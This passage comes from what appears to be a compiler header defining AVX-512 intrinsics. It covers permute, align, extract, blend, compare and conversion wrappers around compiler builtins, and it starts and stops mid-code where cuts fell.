                              (__v16si)_mm512_setzero_si512());
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_permutex2var_epi64(__m512i __A, __m512i __I, __m512i __B)
{
  return (__m512i)__builtin_ia32_vpermi2varq512((__v8di)__A, (__v8di) __I,
                                                (__v8di) __B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_permutex2var_epi64(__m512i __A, __mmask8 __U, __m512i __I,
                               __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512(__U,
                               (__v8di)_mm512_permutex2var_epi64(__A, __I, __B),
                               (__v8di)__A);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask2_permutex2var_epi64(__m512i __A, __m512i __I, __mmask8 __U,
                                __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512(__U,
                               (__v8di)_mm512_permutex2var_epi64(__A, __I, __B),
                               (__v8di)__I);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_permutex2var_epi64(__mmask8 __U, __m512i __A, __m512i __I,
                                __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512(__U,
                               (__v8di)_mm512_permutex2var_epi64(__A, __I, __B),
                               (__v8di)_mm512_setzero_si512());
}

#define _mm512_alignr_epi64(A, B, I) \
  ((__m512i)__builtin_ia32_alignq512((__v8di)(__m512i)(A), \
                                     (__v8di)(__m512i)(B), (int)(I)))

#define _mm512_mask_alignr_epi64(W, U, A, B, imm) \
  ((__m512i)__builtin_ia32_selectq_512((__mmask8)(U), \
                                  (__v8di)_mm512_alignr_epi64((A), (B), (imm)), \
                                  (__v8di)(__m512i)(W)))

#define _mm512_maskz_alignr_epi64(U, A, B, imm) \
  ((__m512i)__builtin_ia32_selectq_512((__mmask8)(U), \
                                  (__v8di)_mm512_alignr_epi64((A), (B), (imm)), \
                                  (__v8di)_mm512_setzero_si512()))

#define _mm512_alignr_epi32(A, B, I) \
  ((__m512i)__builtin_ia32_alignd512((__v16si)(__m512i)(A), \
                                     (__v16si)(__m512i)(B), (int)(I)))

#define _mm512_mask_alignr_epi32(W, U, A, B, imm) \
  ((__m512i)__builtin_ia32_selectd_512((__mmask16)(U), \
                                 (__v16si)_mm512_alignr_epi32((A), (B), (imm)), \
                                 (__v16si)(__m512i)(W)))

#define _mm512_maskz_alignr_epi32(U, A, B, imm) \
  ((__m512i)__builtin_ia32_selectd_512((__mmask16)(U), \
                                 (__v16si)_mm512_alignr_epi32((A), (B), (imm)), \
                                 (__v16si)_mm512_setzero_si512()))
/* Vector Extract */

#define _mm512_extractf64x4_pd(A, I) \
  ((__m256d)__builtin_ia32_extractf64x4_mask((__v8df)(__m512d)(A), (int)(I), \
                                             (__v4df)_mm256_undefined_pd(), \
                                             (__mmask8)-1))

#define _mm512_mask_extractf64x4_pd(W, U, A, imm) \
  ((__m256d)__builtin_ia32_extractf64x4_mask((__v8df)(__m512d)(A), (int)(imm), \
                                             (__v4df)(__m256d)(W), \
                                             (__mmask8)(U)))

#define _mm512_maskz_extractf64x4_pd(U, A, imm) \
  ((__m256d)__builtin_ia32_extractf64x4_mask((__v8df)(__m512d)(A), (int)(imm), \
                                             (__v4df)_mm256_setzero_pd(), \
                                             (__mmask8)(U)))

#define _mm512_extractf32x4_ps(A, I) \
  ((__m128)__builtin_ia32_extractf32x4_mask((__v16sf)(__m512)(A), (int)(I), \
                                            (__v4sf)_mm_undefined_ps(), \
                                            (__mmask8)-1))

#define _mm512_mask_extractf32x4_ps(W, U, A, imm) \
  ((__m128)__builtin_ia32_extractf32x4_mask((__v16sf)(__m512)(A), (int)(imm), \
                                            (__v4sf)(__m128)(W), \
                                            (__mmask8)(U)))

#define _mm512_maskz_extractf32x4_ps(U, A, imm) \
  ((__m128)__builtin_ia32_extractf32x4_mask((__v16sf)(__m512)(A), (int)(imm), \
                                            (__v4sf)_mm_setzero_ps(), \
                                            (__mmask8)(U)))

/* Vector Blend */

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_blend_pd(__mmask8 __U, __m512d __A, __m512d __W)
{
  return (__m512d) __builtin_ia32_selectpd_512 ((__mmask8) __U,
                 (__v8df) __W,
                 (__v8df) __A);
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_blend_ps(__mmask16 __U, __m512 __A, __m512 __W)
{
  return (__m512) __builtin_ia32_selectps_512 ((__mmask16) __U,
                (__v16sf) __W,
                (__v16sf) __A);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_blend_epi64(__mmask8 __U, __m512i __A, __m512i __W)
{
  return (__m512i) __builtin_ia32_selectq_512 ((__mmask8) __U,
                (__v8di) __W,
                (__v8di) __A);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_blend_epi32(__mmask16 __U, __m512i __A, __m512i __W)
{
  return (__m512i) __builtin_ia32_selectd_512 ((__mmask16) __U,
                (__v16si) __W,
                (__v16si) __A);
}

/* Compare */

#define _mm512_cmp_round_ps_mask(A, B, P, R) \
  ((__mmask16)__builtin_ia32_cmpps512_mask((__v16sf)(__m512)(A), \
                                           (__v16sf)(__m512)(B), (int)(P), \
                                           (__mmask16)-1, (int)(R)))

#define _mm512_mask_cmp_round_ps_mask(U, A, B, P, R) \
  ((__mmask16)__builtin_ia32_cmpps512_mask((__v16sf)(__m512)(A), \
                                           (__v16sf)(__m512)(B), (int)(P), \
                                           (__mmask16)(U), (int)(R)))

#define _mm512_cmp_ps_mask(A, B, P) \
  _mm512_cmp_round_ps_mask((A), (B), (P), _MM_FROUND_CUR_DIRECTION)
#define _mm512_mask_cmp_ps_mask(U, A, B, P) \
  _mm512_mask_cmp_round_ps_mask((U), (A), (B), (P), _MM_FROUND_CUR_DIRECTION)

#define _mm512_cmpeq_ps_mask(A, B) \
    _mm512_cmp_ps_mask((A), (B), _CMP_EQ_OQ)
#define _mm512_mask_cmpeq_ps_mask(k, A, B) \
    _mm512_mask_cmp_ps_mask((k), (A), (B), _CMP_EQ_OQ)

#define _mm512_cmplt_ps_mask(A, B) \
    _mm512_cmp_ps_mask((A), (B), _CMP_LT_OS)
#define _mm512_mask_cmplt_ps_mask(k, A, B) \
    _mm512_mask_cmp_ps_mask((k), (A), (B), _CMP_LT_OS)

#define _mm512_cmple_ps_mask(A, B) \
    _mm512_cmp_ps_mask((A), (B), _CMP_LE_OS)
#define _mm512_mask_cmple_ps_mask(k, A, B) \
    _mm512_mask_cmp_ps_mask((k), (A), (B), _CMP_LE_OS)

#define _mm512_cmpunord_ps_mask(A, B) \
    _mm512_cmp_ps_mask((A), (B), _CMP_UNORD_Q)
#define _mm512_mask_cmpunord_ps_mask(k, A, B) \
    _mm512_mask_cmp_ps_mask((k), (A), (B), _CMP_UNORD_Q)

#define _mm512_cmpneq_ps_mask(A, B) \
    _mm512_cmp_ps_mask((A), (B), _CMP_NEQ_UQ)
#define _mm512_mask_cmpneq_ps_mask(k, A, B) \
    _mm512_mask_cmp_ps_mask((k), (A), (B), _CMP_NEQ_UQ)

#define _mm512_cmpnlt_ps_mask(A, B) \
    _mm512_cmp_ps_mask((A), (B), _CMP_NLT_US)
#define _mm512_mask_cmpnlt_ps_mask(k, A, B) \
    _mm512_mask_cmp_ps_mask((k), (A), (B), _CMP_NLT_US)

#define _mm512_cmpnle_ps_mask(A, B) \
    _mm512_cmp_ps_mask((A), (B), _CMP_NLE_US)
#define _mm512_mask_cmpnle_ps_mask(k, A, B) \
    _mm512_mask_cmp_ps_mask((k), (A), (B), _CMP_NLE_US)

#define _mm512_cmpord_ps_mask(A, B) \
    _mm512_cmp_ps_mask((A), (B), _CMP_ORD_Q)
#define _mm512_mask_cmpord_ps_mask(k, A, B) \
    _mm512_mask_cmp_ps_mask((k), (A), (B), _CMP_ORD_Q)

#define _mm512_cmp_round_pd_mask(A, B, P, R) \
  ((__mmask8)__builtin_ia32_cmppd512_mask((__v8df)(__m512d)(A), \
                                          (__v8df)(__m512d)(B), (int)(P), \
                                          (__mmask8)-1, (int)(R)))

#define _mm512_mask_cmp_round_pd_mask(U, A, B, P, R) \
  ((__mmask8)__builtin_ia32_cmppd512_mask((__v8df)(__m512d)(A), \
                                          (__v8df)(__m512d)(B), (int)(P), \
                                          (__mmask8)(U), (int)(R)))

#define _mm512_cmp_pd_mask(A, B, P) \
  _mm512_cmp_round_pd_mask((A), (B), (P), _MM_FROUND_CUR_DIRECTION)
#define _mm512_mask_cmp_pd_mask(U, A, B, P) \
  _mm512_mask_cmp_round_pd_mask((U), (A), (B), (P), _MM_FROUND_CUR_DIRECTION)

#define _mm512_cmpeq_pd_mask(A, B) \
    _mm512_cmp_pd_mask((A), (B), _CMP_EQ_OQ)
#define _mm512_mask_cmpeq_pd_mask(k, A, B) \
    _mm512_mask_cmp_pd_mask((k), (A), (B), _CMP_EQ_OQ)

#define _mm512_cmplt_pd_mask(A, B) \
    _mm512_cmp_pd_mask((A), (B), _CMP_LT_OS)
#define _mm512_mask_cmplt_pd_mask(k, A, B) \
    _mm512_mask_cmp_pd_mask((k), (A), (B), _CMP_LT_OS)

#define _mm512_cmple_pd_mask(A, B) \
    _mm512_cmp_pd_mask((A), (B), _CMP_LE_OS)
#define _mm512_mask_cmple_pd_mask(k, A, B) \
    _mm512_mask_cmp_pd_mask((k), (A), (B), _CMP_LE_OS)

#define _mm512_cmpunord_pd_mask(A, B) \
    _mm512_cmp_pd_mask((A), (B), _CMP_UNORD_Q)
#define _mm512_mask_cmpunord_pd_mask(k, A, B) \
    _mm512_mask_cmp_pd_mask((k), (A), (B), _CMP_UNORD_Q)

#define _mm512_cmpneq_pd_mask(A, B) \
    _mm512_cmp_pd_mask((A), (B), _CMP_NEQ_UQ)
#define _mm512_mask_cmpneq_pd_mask(k, A, B) \
    _mm512_mask_cmp_pd_mask((k), (A), (B), _CMP_NEQ_UQ)

#define _mm512_cmpnlt_pd_mask(A, B) \
    _mm512_cmp_pd_mask((A), (B), _CMP_NLT_US)
#define _mm512_mask_cmpnlt_pd_mask(k, A, B) \
    _mm512_mask_cmp_pd_mask((k), (A), (B), _CMP_NLT_US)

#define _mm512_cmpnle_pd_mask(A, B) \
    _mm512_cmp_pd_mask((A), (B), _CMP_NLE_US)
#define _mm512_mask_cmpnle_pd_mask(k, A, B) \
    _mm512_mask_cmp_pd_mask((k), (A), (B), _CMP_NLE_US)

#define _mm512_cmpord_pd_mask(A, B) \
    _mm512_cmp_pd_mask((A), (B), _CMP_ORD_Q)
#define _mm512_mask_cmpord_pd_mask(k, A, B) \
    _mm512_mask_cmp_pd_mask((k), (A), (B), _CMP_ORD_Q)

/* Conversion */

#define _mm512_cvtt_roundps_epu32(A, R) \
  ((__m512i)__builtin_ia32_cvttps2udq512_mask((__v16sf)(__m512)(A), \
                                              (__v16si)_mm512_undefined_epi32(), \
                                              (__mmask16)-1, (int)(R)))

#define _mm512_mask_cvtt_roundps_epu32(W, U, A, R) \
  ((__m512i)__builtin_ia32_cvttps2udq512_mask((__v16sf)(__m512)(A), \
                                              (__v16si)(__m512i)(W), \
                                              (__mmask16)(U), (int)(R)))

#define _mm512_maskz_cvtt_roundps_epu32(U, A, R) \
  ((__m512i)__builtin_ia32_cvttps2udq512_mask((__v16sf)(__m512)(A), \
                                              (__v16si)_mm512_setzero_si512(), \
                                              (__mmask16)(U), (int)(R)))


static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_cvttps_epu32(__m512 __A)
{
  return (__m512i) __builtin_ia32_cvttps2udq512_mask ((__v16sf) __A,
                  (__v16si)
                  _mm512_setzero_si512 (),
                  (__mmask16) -1,
                  _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvttps_epu32 (__m512i __W, __mmask16 __U, __m512 __A)
{
  return (__m512i) __builtin_ia32_cvttps2udq512_mask ((__v16sf) __A,
                   (__v16si) __W,
                   (__mmask16) __U,
                   _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvttps_epu32 (__mmask16 __U, __m512 __A)
{
  return (__m512i) __builtin_ia32_cvttps2udq512_mask ((__v16sf) __A,
                   (__v16si) _mm512_setzero_si512 (),
                   (__mmask16) __U,
                   _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_cvt_roundepi32_ps(A, R) \
  ((__m512)__builtin_ia32_cvtdq2ps512_mask((__v16si)(__m512i)(A), \
                                           (__v16sf)_mm512_setzero_ps(), \
                                           (__mmask16)-1, (int)(R)))

#define _mm512_mask_cvt_roundepi32_ps(W, U, A, R) \
  ((__m512)__builtin_ia32_cvtdq2ps512_mask((__v16si)(__m512i)(A), \
                                           (__v16sf)(__m512)(W), \
                                           (__mmask16)(U), (int)(R)))

#define _mm512_maskz_cvt_roundepi32_ps(U, A, R) \
  ((__m512)__builtin_ia32_cvtdq2ps512_mask((__v16si)(__m512i)(A), \
                                           (__v16sf)_mm512_setzero_ps(), \
                                           (__mmask16)(U), (int)(R)))

#define _mm512_cvt_roundepu32_ps(A, R) \
  ((__m512)__builtin_ia32_cvtudq2ps512_mask((__v16si)(__m512i)(A), \
                                            (__v16sf)_mm512_setzero_ps(), \
                                            (__mmask16)-1, (int)(R)))

#define _mm512_mask_cvt_roundepu32_ps(W, U, A, R) \
  ((__m512)__builtin_ia32_cvtudq2ps512_mask((__v16si)(__m512i)(A), \
                                            (__v16sf)(__m512)(W), \
                                            (__mmask16)(U), (int)(R)))

#define _mm512_maskz_cvt_roundepu32_ps(U, A, R) \
  ((__m512)__builtin_ia32_cvtudq2ps512_mask((__v16si)(__m512i)(A), \
                                            (__v16sf)_mm512_setzero_ps(), \
                                            (__mmask16)(U), (int)(R)))

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_cvtepu32_ps (__m512i __A)
{
  return (__m512)__builtin_convertvector((__v16su)__A, __v16sf);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepu32_ps (__m512 __W, __mmask16 __U, __m512i __A)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_cvtepu32_ps(__A),
                                             (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepu32_ps (__mmask16 __U, __m512i __A)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_cvtepu32_ps(__A),
                                             (__v16sf)_mm512_setzero_ps());
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_cvtepi32_pd(__m256i __A)
{
  return (__m512d)__builtin_convertvector((__v8si)__A, __v8df);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi32_pd (__m512d __W, __mmask8 __U, __m256i __A)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8) __U,
                                              (__v8df)_mm512_cvtepi32_pd(__A),
                                              (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepi32_pd (__mmask8 __U, __m256i __A)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8) __U,
                                              (__v8df)_mm512_cvtepi32_pd(__A),
                                              (__v8df)_mm512_setzero_pd());
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_cvtepi32lo_pd(__m512i __A)
{
  return (__m512d) _mm512_cvtepi32_pd(_mm512_castsi512_si256(__A));
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi32lo_pd(__m512d __W, __mmask8 __U,__m512i __A)
{
  return (__m512d) _mm512_mask_cvtepi32_pd(__W, __U, _mm512_castsi512_si256(__A));
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_cvtepi32_ps (__m512i __A)
{
  return (__m512)__builtin_convertvector((__v16si)__A, __v16sf);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi32_ps (__m512 __W, __mmask16 __U, __m512i __A)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_cvtepi32_ps(__A),
                                             (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepi32_ps (__mmask16 __U, __m512i __A)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_cvtepi32_ps(__A),
                                             (__v16sf)_mm512_setzero_ps());
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_cvtepu32_pd(__m256i __A)
{
  return (__m512d)__builtin_convertvector((__v8su)__A, __v8df);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepu32_pd (__m512d __W, __mmask8 __U, __m256i __A)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8) __U,
                                              (__v8df)_mm512_cvtepu32_pd(__A),
                                              (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepu32_pd (__mmask8 __U, __m256i __A)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8) __U,
                                              (__v8df)_mm512_cvtepu32_pd(__A),
                                              (__v8df)_mm512_setzero_pd());
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_cvtepu32lo_pd(__m512i __A)
{
  return (__m512d) _mm512_cvtepu32_pd(_mm512_castsi512_si256(__A));
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepu32lo_pd(__m512d __W, __mmask8 __U,__m512i __A)
{
  return (__m512d) _mm512_mask_cvtepu32_pd(__W, __U, _mm512_castsi512_si256(__A));
}

#define _mm512_cvt_roundpd_ps(A, R) \
  ((__m256)__builtin_ia32_cvtpd2ps512_mask((__v8df)(__m512d)(A), \
                                           (__v8sf)_mm256_setzero_ps(), \
                                           (__mmask8)-1, (int)(R)))

#define _mm512_mask_cvt_roundpd_ps(W, U, A, R) \
  ((__m256)__builtin_ia32_cvtpd2ps512_mask((__v8df)(__m512d)(A), \
                                           (__v8sf)(__m256)(W), (__mmask8)(U), \
                                           (int)(R)))

#define _mm512_maskz_cvt_roundpd_ps(U, A, R) \
  ((__m256)__builtin_ia32_cvtpd2ps512_mask((__v8df)(__m512d)(A), \
                                           (__v8sf)_mm256_setzero_ps(), \
                                           (__mmask8)(U), (int)(R)))

static __inline__ __m256 __DEFAULT_FN_ATTRS512
_mm512_cvtpd_ps (__m512d __A)
{
  return (__m256) __builtin_ia32_cvtpd2ps512_mask ((__v8df) __A,
                (__v8sf) _mm256_undefined_ps (),
                (__mmask8) -1,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m256 __DEFAULT_FN_ATTRS512
_mm512_mask_cvtpd_ps (__m256 __W, __mmask8 __U, __m512d __A)
{
  return (__m256) __builtin_ia32_cvtpd2ps512_mask ((__v8df) __A,
                (__v8sf) __W,
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m256 __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtpd_ps (__mmask8 __U, __m512d __A)
{
  return (__m256) __builtin_ia32_cvtpd2ps512_mask ((__v8df) __A,
                (__v8sf) _mm256_setzero_ps (),
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_cvtpd_pslo (__m512d __A)
{
  return (__m512) __builtin_shufflevector((__v8sf) _mm512_cvtpd_ps(__A),
                (__v8sf) _mm256_setzero_ps (),
                0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_cvtpd_pslo (__m512 __W, __mmask8 __U,__m512d __A)
{
  return (__m512) __builtin_shufflevector (
                (__v8sf) _mm512_mask_cvtpd_ps (_mm512_castps512_ps256(__W),
                                               __U, __A),
                (__v8sf) _mm256_setzero_ps (),
                0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15);
}

#define _mm512_cvt_roundps_ph(A, I) \
  ((__m256i)__builtin_ia32_vcvtps2ph512_mask((__v16sf)(__m512)(A), (int)(I), \
                                             (__v16hi)_mm256_undefined_si256(), \
                                             (__mmask16)-1))

#define _mm512_mask_cvt_roundps_ph(U, W, A, I) \
  ((__m256i)__builtin_ia32_vcvtps2ph512_mask((__v16sf)(__m512)(A), (int)(I), \
                                             (__v16hi)(__m256i)(U), \
                                             (__mmask16)(W)))

#define _mm512_maskz_cvt_roundps_ph(W, A, I) \
  ((__m256i)__builtin_ia32_vcvtps2ph512_mask((__v16sf)(__m512)(A), (int)(I), \
                                             (__v16hi)_mm256_setzero_si256(), \
                                             (__mmask16)(W)))

#define _mm512_cvtps_ph       _mm512_cvt_roundps_ph
#define _mm512_mask_cvtps_ph  _mm512_mask_cvt_roundps_ph
#define _mm512_maskz_cvtps_ph _mm512_maskz_cvt_roundps_ph

#define _mm512_cvt_roundph_ps(A, R) \
  ((__m512)__builtin_ia32_vcvtph2ps512_mask((__v16hi)(__m256i)(A), \
                                            (__v16sf)_mm512_undefined_ps(), \
                                            (__mmask16)-1, (int)(R)))

#define _mm512_mask_cvt_roundph_ps(W, U, A, R) \
  ((__m512)__builtin_ia32_vcvtph2ps512_mask((__v16hi)(__m256i)(A), \
                                            (__v16sf)(__m512)(W), \
                                            (__mmask16)(U), (int)(R)))

#define _mm512_maskz_cvt_roundph_ps(U, A, R) \
  ((__m512)__builtin_ia32_vcvtph2ps512_mask((__v16hi)(__m256i)(A), \
                                            (__v16sf)_mm512_setzero_ps(), \
                                            (__mmask16)(U), (int)(R)))


static  __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_cvtph_ps(__m256i __A)
{
  return (__m512) __builtin_ia32_vcvtph2ps512_mask ((__v16hi) __A,
                (__v16sf)
                _mm512_setzero_ps (),
                (__mmask16) -1,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_cvtph_ps (__m512 __W, __mmask16 __U, __m256i __A)
{
  return (__m512) __builtin_ia32_vcvtph2ps512_mask ((__v16hi) __A,
                 (__v16sf) __W,
                 (__mmask16) __U,
                 _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtph_ps (__mmask16 __U, __m256i __A)
{
  return (__m512) __builtin_ia32_vcvtph2ps512_mask ((__v16hi) __A,
                 (__v16sf) _mm512_setzero_ps (),
                 (__mmask16) __U,
                 _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_cvtt_roundpd_epi32(A, R) \
  ((__m256i)__builtin_ia32_cvttpd2dq512_mask((__v8df)(__m512d)(A), \
                                             (__v8si)_mm256_setzero_si256(), \
                                             (__mmask8)-1, (int)(R)))

#define _mm512_mask_cvtt_roundpd_epi32(W, U, A, R) \
  ((__m256i)__builtin_ia32_cvttpd2dq512_mask((__v8df)(__m512d)(A), \
                                             (__v8si)(__m256i)(W), \
                                             (__mmask8)(U), (int)(R)))

#define _mm512_maskz_cvtt_roundpd_epi32(U, A, R) \
  ((__m256i)__builtin_ia32_cvttpd2dq512_mask((__v8df)(__m512d)(A), \
                                             (__v8si)_mm256_setzero_si256(), \
                                             (__mmask8)(U), (int)(R)))

static __inline __m256i __DEFAULT_FN_ATTRS512
_mm512_cvttpd_epi32(__m512d __a)
{
  return (__m256i)__builtin_ia32_cvttpd2dq512_mask((__v8df) __a,
                                                   (__v8si)_mm256_setzero_si256(),
                                                   (__mmask8) -1,
                                                    _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_mask_cvttpd_epi32 (__m256i __W, __mmask8 __U, __m512d __A)
{
  return (__m256i) __builtin_ia32_cvttpd2dq512_mask ((__v8df) __A,
                  (__v8si) __W,
                  (__mmask8) __U,
                  _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvttpd_epi32 (__mmask8 __U, __m512d __A)
{
  return (__m256i) __builtin_ia32_cvttpd2dq512_mask ((__v8df) __A,
                  (__v8si) _mm256_setzero_si256 (),
                  (__mmask8) __U,
                  _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_cvtt_roundps_epi32(A, R) \
  ((__m512i)__builtin_ia32_cvttps2dq512_mask((__v16sf)(__m512)(A), \
                                             (__v16si)_mm512_setzero_si512(), \
                                             (__mmask16)-1, (int)(R)))

#define _mm512_mask_cvtt_roundps_epi32(W, U, A, R) \
  ((__m512i)__builtin_ia32_cvttps2dq512_mask((__v16sf)(__m512)(A), \
                                             (__v16si)(__m512i)(W), \
                                             (__mmask16)(U), (int)(R)))

#define _mm512_maskz_cvtt_roundps_epi32(U, A, R) \
  ((__m512i)__builtin_ia32_cvttps2dq512_mask((__v16sf)(__m512)(A), \
                                             (__v16si)_mm512_setzero_si512(), \
                                             (__mmask16)(U), (int)(R)))

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_cvttps_epi32(__m512 __a)
{
  return (__m512i)
    __builtin_ia32_cvttps2dq512_mask((__v16sf) __a,
                                     (__v16si) _mm512_setzero_si512 (),
                                     (__mmask16) -1, _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvttps_epi32 (__m512i __W, __mmask16 __U, __m512 __A)
{
  return (__m512i) __builtin_ia32_cvttps2dq512_mask ((__v16sf) __A,
                  (__v16si) __W,
                  (__mmask16) __U,
                  _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvttps_epi32 (__mmask16 __U, __m512 __A)
{
  return (__m512i) __builtin_ia32_cvttps2dq512_mask ((__v16sf) __A,
                  (__v16si) _mm512_setzero_si512 (),
                  (__mmask16) __U,
                  _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_cvt_roundps_epi32(A, R) \
  ((__m512i)__builtin_ia32_cvtps2dq512_mask((__v16sf)(__m512)(A), \
                                            (__v16si)_mm512_setzero_si512(), \
                                            (__mmask16)-1, (int)(R)))

#define _mm512_mask_cvt_roundps_epi32(W, U, A, R) \
  ((__m512i)__builtin_ia32_cvtps2dq512_mask((__v16sf)(__m512)(A), \
                                            (__v16si)(__m512i)(W), \
                                            (__mmask16)(U), (int)(R)))

#define _mm512_maskz_cvt_roundps_epi32(U, A, R) \
  ((__m512i)__builtin_ia32_cvtps2dq512_mask((__v16sf)(__m512)(A), \
                                            (__v16si)_mm512_setzero_si512(), \
                                            (__mmask16)(U), (int)(R)))

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_cvtps_epi32 (__m512 __A)
{
  return (__m512i) __builtin_ia32_cvtps2dq512_mask ((__v16sf) __A,
                 (__v16si) _mm512_undefined_epi32 (),
                 (__mmask16) -1,
                 _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtps_epi32 (__m512i __W, __mmask16 __U, __m512 __A)
{
  return (__m512i) __builtin_ia32_cvtps2dq512_mask ((__v16sf) __A,
                 (__v16si) __W,
                 (__mmask16) __U,
                 _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtps_epi32 (__mmask16 __U, __m512 __A)
{
  return (__m512i) __builtin_ia32_cvtps2dq512_mask ((__v16sf) __A,
                 (__v16si)
                 _mm512_setzero_si512 (),
                 (__mmask16) __U,
                 _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_cvt_roundpd_epi32(A, R) \
  ((__m256i)__builtin_ia32_cvtpd2dq512_mask((__v8df)(__m512d)(A), \
                                            (__v8si)_mm256_setzero_si256(), \
                                            (__mmask8)-1, (int)(R)))

#define _mm512_mask_cvt_roundpd_epi32(W, U, A, R) \
  ((__m256i)__builtin_ia32_cvtpd2dq512_mask((__v8df)(__m512d)(A), \
                                            (__v8si)(__m256i)(W), \
                                            (__mmask8)(U), (int)(R)))

#define _mm512_maskz_cvt_roundpd_epi32(U, A, R) \
  ((__m256i)__builtin_ia32_cvtpd2dq512_mask((__v8df)(__m512d)(A), \
                                            (__v8si)_mm256_setzero_si256(), \
                                            (__mmask8)(U), (int)(R)))

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_cvtpd_epi32 (__m512d __A)
{
  return (__m256i) __builtin_ia32_cvtpd2dq512_mask ((__v8df) __A,
                 (__v8si)
                 _mm256_undefined_si256 (),
                 (__mmask8) -1,
                 _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtpd_epi32 (__m256i __W, __mmask8 __U, __m512d __A)
{
  return (__m256i) __builtin_ia32_cvtpd2dq512_mask ((__v8df) __A,
                 (__v8si) __W,
                 (__mmask8) __U,
                 _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtpd_epi32 (__mmask8 __U, __m512d __A)
{
  return (__m256i) __builtin_ia32_cvtpd2dq512_mask ((__v8df) __A,
                 (__v8si)
                 _mm256_setzero_si256 (),
                 (__mmask8) __U,
                 _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_cvt_roundps_epu32(A, R) \
  ((__m512i)__builtin_ia32_cvtps2udq512_mask((__v16sf)(__m512)(A), \
                                             (__v16si)_mm512_setzero_si512(), \
                                             (__mmask16)-1, (int)(R)))

#define _mm512_mask_cvt_roundps_epu32(W, U, A, R) \
  ((__m512i)__builtin_ia32_cvtps2udq512_mask((__v16sf)(__m512)(A), \
